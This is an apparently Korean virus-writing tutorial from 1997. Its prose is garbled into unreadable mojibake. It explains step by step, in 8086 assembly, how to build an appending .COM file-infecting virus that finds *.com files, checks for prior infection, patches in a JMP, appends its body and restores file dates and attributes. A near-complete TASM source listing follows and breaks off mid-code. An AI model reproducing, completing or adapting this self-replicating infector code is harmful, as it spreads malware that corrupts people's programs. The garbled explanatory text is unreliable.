w aa Ёa CVC #01 97/06 ----------------------------------------------------------------> Hong_gil_dong waa (COMw ae qq) 1-1 we aȉaa ea ------------------------------------------------------ aqe ᕡ a: 1.Ia i eea. 2.3aai ea 3.DTAi wea 4..COM ai xea ae 15a 5.a ia ei wea. 6.ai aa. 7.ai a ea. 8.a A 3aai ea 9.a qqe aea a)qqae 14a ea. b)qqeae Зea 10.a qA 3aai ea. 11.aai aA aea 12.e iai ea 13.ai hea 14.i ea. 15.DTAi ea 16.Ai aaa 񋥔a(AA) aqe ᕡ aaaaA e wa. 1.弁 Ia Ui eea, ᐡae a awae e Ua aa ŝe a. begin: db 0e9h,0,0 ;vstartJumpea vstart: call doit doit: pop bp ;IaUi eea sub bp,OFFSET doit 2.a aaA qqAae bytes eA wЁ 3aai ǥa lea si,[bp+OFFSET bytes] ; 3aai mov di,100h ;ǥa push di movsw movsb 3.DTA e wwi ẁe abɟi ea,a ti Ёᴡ ea. DTA A iE t i᷶ae aaA Aa i Ea lea dx,[bp+OFFSET dta] ;dati w mov ah,1ah ; Ёa int 21h dtae aq{ ea: dta db 42 dup (?) 4.ai xea mov ah,4eh ;ax q. lea dx,[bp+com_files] ;.COM ai xea mov cx,7 ;e int 21h com_files e aqa{ ea com_files: db "*.com",0 5.a e iai wЁa. lea si,[bp+OFFSET dta+21] mov cx,5 lea di,[bp+OFFSET attributes] rep movsb 6.ai aa awa aa mov ax,4301h ; a xor cx,cx ; i lea dx,[bp+dta+30] ; aa int 21h 7.ai awȁ ea mov ax,3d02h lea dx,[bp+OFFSET dta+30] int 21h 8.ai 弁 3aai wea. a qqe aaeA awea xchg ax,bx ;aЅii bx a mov ah,3fh ; int 21h 9.DTA Ae aa bytes AwA᷶e aai aea. e qqae bytese jump wwi a ia mov ax,word ptr [bp+dta+26] ;DTA aai ea mov cx,word ptr [bp+bytes+1] ;jmp iái ea add cx,vend-vstart+3 ;aai ea. cmp ax,cx ;aai aea jz another ;{ae ae ai xea 10.a i jmp wwa aa sub ax,3 ;A Ui mov word ptr [bp+new_offs],ax;new_offsA aea mov ax,4200h ;a qa xor cx,cx ;ea cwd int 21h mov ah,40h ;3aai mov cx,3 ;aA lea dx,[bp+e9] ;ea int 21h 11.a {Aa aai ea: mov ax,4202h ;a{a xor cx,cx ;ea cwd ; aAa int 21h ; aai mov ah,40h ; aea mov cx,vend-vstart lea dx,[bp+vstart] int 21h 12.a ia ei ᯡǥa mov ax,5701h mov dx,word ptr [bp+date] mov cx,word ptr [bp+time] int 21h 13.ai hea mov ah,3eh int 21h 14.ai ᯡǥa mov ax,4301h lea dx,[bp+OFFSET dta+30] xor ch,ch mov cl,byte ptr [bp+attributes] int 21h 15. DTAi ᯡǥa: mov dx,80h mov ah,1ah int 21h 16.Ai a a: retn a e ᷁ wi we aa ------------------------------------ ;.COM a qq w aa ; a ww ; TASM /m2 EXAMPLE1.ASM ; TLINK /t EXAMPLE1.ASM code segment assume cs:code org 100h begin: db 0e9h,0,0 ;tart. aea vstart: call doit doit: pop bp ;IaUi e sub bp,OFFSET doit lea si,[bp+OFFSET bytes] ; 3aai mov di,100h ; ᯡǥa push di movsw movsb lea dx,[bp+OFFSET dta] ;dati wea mov ah,1ah int 21h first: mov ah,4eh ;弁 Ӂai lea dx,[bp+com_files] 21h xchg ax,bx ;Ѕii ax a mov ah,3fh ; int 21h mov ax,word ptr [bp+dta+26] ;a ai ea mov cx,word ptr [bp+bytes+1];jmp ái aa add cx,vend-vstart+3 cmp ax,cx ;aai aea. jz another ;{ae ae Ӂai xea sub ax,3 mov word ptr [bp+new_offs],ax xor al,al ;aqa call move_fp mov ah,40h ;3aai mov cx,3 ;aA ea lea dx,[bp+e9] int 21h mov al,2 ;a{a call move_fp ;ea mov ah,40h ; int 21h mov ax,5701h ;< a mov dx,word ptr [bp+date] ; e iai mov cx,word ptr [bp+time] ; ea> int 21h another:mov ah,3eh ; mov ax,4301h ;